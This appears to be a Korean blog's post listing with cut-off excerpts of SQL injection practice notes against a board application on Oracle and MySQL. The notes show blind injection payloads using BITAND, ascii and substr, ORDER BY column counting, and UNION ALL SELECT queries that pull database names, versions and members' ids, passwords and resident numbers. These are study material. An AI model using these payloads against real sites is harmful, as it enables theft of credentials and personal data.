목록전체 글 (162)
Oh! JUN
C##CREHACKTIVE → tb_board → IDX, PASSWORD 1. 사용자(DB) 이름 찾기 BITAND(ascii(substr((select user from dual),1,1)),1)=1 정상 출력 1 2진수 : 01000011 10진수 : 67 문자형 : 'C' BITAND(ascii(substr((select user from dual),1,1)),2)=2 정상 출력 1 BITAND(ascii(substr((select user from dual),1,1)),4)=4 에러 발생 0 BITAND(ascii(substr((select user from dual),1,1)),8)=8 에러 발생 0 BITAND(ascii(substr((select user from dual),1,1)),16..
※ 과정 ※ 순서 1. 사용자 DB 찾기(board) 2. 테이블 찾기(tb_board) 3. 컬럼 찾기(idx, password) 1. 사용자 DB찾기(board) 1-1. 사용자 DB 문자열 개수 idx=10 and length(database())=5 1-2. 사용자 DB 이름 idx=10 and ascii(substring(database(),1,1))&1=1 거짓(오류 발생) 0 2진수 : 01100010 10진수 : 98 문자 : 'b' idx=10 and ascii(substring(database(),1,1))&2=2 참(게시글 정상 출력) 1 idx=10 and ascii(substring(database(),1,1))&4=4 거짓(오류 발생) 0 idx=10 and ascii(subst..
※ 목표 : 게시판 비밀글 PASSWORD 알아내기 ※ 조건 : 컬럼 : 'PASSWORD' / IDX = 65 ## 비순차적 찾기 1-1. 사용자(DB)이름 문자열 개수 idx=61 and length((select user from dual))=14 - 사용자(DB) 문자열 수가 14개라서 게시판 내용이 출력되는걸 확인할 수 있다. ※ 비밀글은 idx=63인데 61로 하는 이유는? - 비밀글이어서 PASSWORD 없이 접속 자체가 불가능해서 조건값에 맞는 결과값의 참 거짓 여부를 알 수가 없다. - 그래서 공개글을 활용해서 조건에 따른 값이 참이면 게시판에 있는 내용이 출력될것이고 거짓이면 오류가 뜬다. 1-2. 사용자(DB) 이름 찾기 idx=61 and ascii(substr((select use..
※ 목표 DB(board) -> Table(members) -> column(idx, id, password, jumin) 1. DB 이름 파악 substring(database(), 1, 1)='b' 정상 출력 -> test검색 substring(database(), 2, 1)='o' 정상 출력 -> test검색 substring(database(), 3, 1)='a' 정상 출력 -> test검색 substring(database(), 4, 1)='r' 정상 출력 -> test검색 substring(database(), 5, 1)='d' 정상 출력 -> test검색 - database() : DB 이름 정보 - substring('문자열',index,size) - 실제로는 모든 대소문자 + 특수문자를 ..
1. 취약점 확인 - '(작은 따움표) 조회 - 오류 발생 - admi' 'n - mysql에서는 ' '사이는 자동으로 연결해주는 역할을 한다. - 그래서 쿼리문을 통해 작동된다는걸 알 수 있다. 2. 컬럼 개수 확인(order by) ' order by 1# 정상 출력 ' order by 2# 정상 출력 ' order by 3# 에러 발생 ' order by 4# 에러 발생 ' order by 5# 에러 발생 - order by 3 이후로 에러가 발생해서 컬럼 개수는 2개 임을 알 수 있다. 3. 출력할 컬럼 위치 확인(union all) ' union all select 'test', null# - 첫번째 컬럼에 'test' 입력하니까 웹 화면에 출력되는걸 확인할 수 있다. - 이제 여기에 각종 정보..
1. 게시판 목록 1-1. 컬럼 개수 구하기 ' order by 1-- 정상 출력 ' order by 2-- 정상 출력 ' order by 3-- 에러 발생(대용량 데이터 타입) ' order by 4-- 정상 출력 ' order by 5-- 정상 출력 ' order by 6-- 정상 출력 ' order by 7-- 정상 출력 ' order by 8-- 에러 발생 ' order by 9-- 에러 발생 ' order by 10-- 에러 발생 - order by 3번째에서 대용량 데이터 타입이라 에러가 발생한다. - 컬럼 개수는 7개이다. 1-2. 기본정보 ' and 1=2 union all select 1, (select banner from v$version where rownum=1)||'###'||(..
1. 게시판 목록 1-1. order by를 사용해 컬럼 개수 파악하기 ' order by 7# 정상출력 ' order by 8# 에러발생 ' order by 9# 에러발생 ' order by 10# 에러발생 - 7번째까지 정상출력되고 그 이후로는 에러가 발생하기 때문에 컬럼의 개수는 7개이다. 1-2. UNION 활용 1-2-1. 기본 정보 조회 ' and 1=2 union all select version(), system_user(), database(), 'a', 'b', 'c', database()# - DB 버전, 유저정보, DB이름 기본정보 체크 1-2-2. DB 조회 ' and 1=2 union all select version(), schema_name, database(), 'a', '..
# MYSQL 실습 select * from tb_board; select * from tb_board order by 1; 정상 출력 select * from tb_board order by 2; 정상 출력 select * from tb_board order by 3; 정상 출력 select * from tb_board order by 4; 정상 출력 select * from tb_board order by 5; 정상 출력 select * from tb_board order by 6; 정상 출력 select * from tb_board order by 7; 정상 출력 select * from tb_board order by 8; 에러 발생 select * from tb_board order by 9; ..